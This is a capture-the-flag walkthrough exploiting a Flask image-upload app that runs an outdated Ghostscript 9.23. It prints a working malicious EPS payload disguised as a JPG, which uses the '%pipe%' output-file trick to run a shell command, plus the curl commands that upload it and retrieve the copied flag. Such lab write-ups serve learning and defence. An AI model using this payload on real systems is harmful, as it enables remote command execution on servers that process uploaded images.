Enumeration #
Before diving into the code base, I decided to look at the website and play around with it. I’m running it locally with Docker so I can check out any console messages as well. Uploaded a fun Ojipan picture (might look familiar) to test out the web app.
As I’ve mentioned in previous challenge walkthroughs, I’m a fan of starting at the top of the challenge directory before diving directly in the main code.
Look at the build script(s) and any configurations.
In this case, I spotted something extremely strage in the Dockerfile
# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
&& tar -xzf ghostscript-9.23-linux-x86_64.tgz \
&& mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*
Why install a very specific version of some software?
Sure, maybe a compatibility issue, but I know you can install a specific version of software within apt
and especially pip
.
Going to mark that down.
It’s a pretty straightforward flask app. As there’s not much interaction on the web app, nor no real hidden APIs, I took stock of some important file locations and directories:
- The flag location
/app/flag
(the/app
is the working dir defined in theDockerfile
) - GIFs storage location
/app/application/static/petpets/
Exploit #
There’s a few on exploit-db.com, but not direclty with this specific version.
A quick google for ghostscript 9.32 exploit
and
this pops up right near the top.
Makes sense too “rcbee”… rcE, get it?
Anyway, we can create a malicious JPG file and run our code to gain access to the flag.
To keep it simple, I’m going to copy the contents of flag
to a new file in the petpet dir.
Code for Malicious JPG #
cat << EOF > exploit.jpg
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cp /app/flag /app/application/static/petpets/flag.txt) currentdevice putdeviceprops
EOF
Notice how I changed the name to flag.txt
.
Execution #
With the exploit created, I can upload the image via the API using curl
.
This should return as a success, meaning that the GIF was generated and that the exploit worked.
curl 'http://localhost:1337/api/upload' -X POST -F 'file=@./exploit.jpg'
Assuming everything worked as expected, the flag should now be at /static/petpets/flag.txt
.
curl http://localhost:1337/static/petpets/flag.txt
Grab that flag!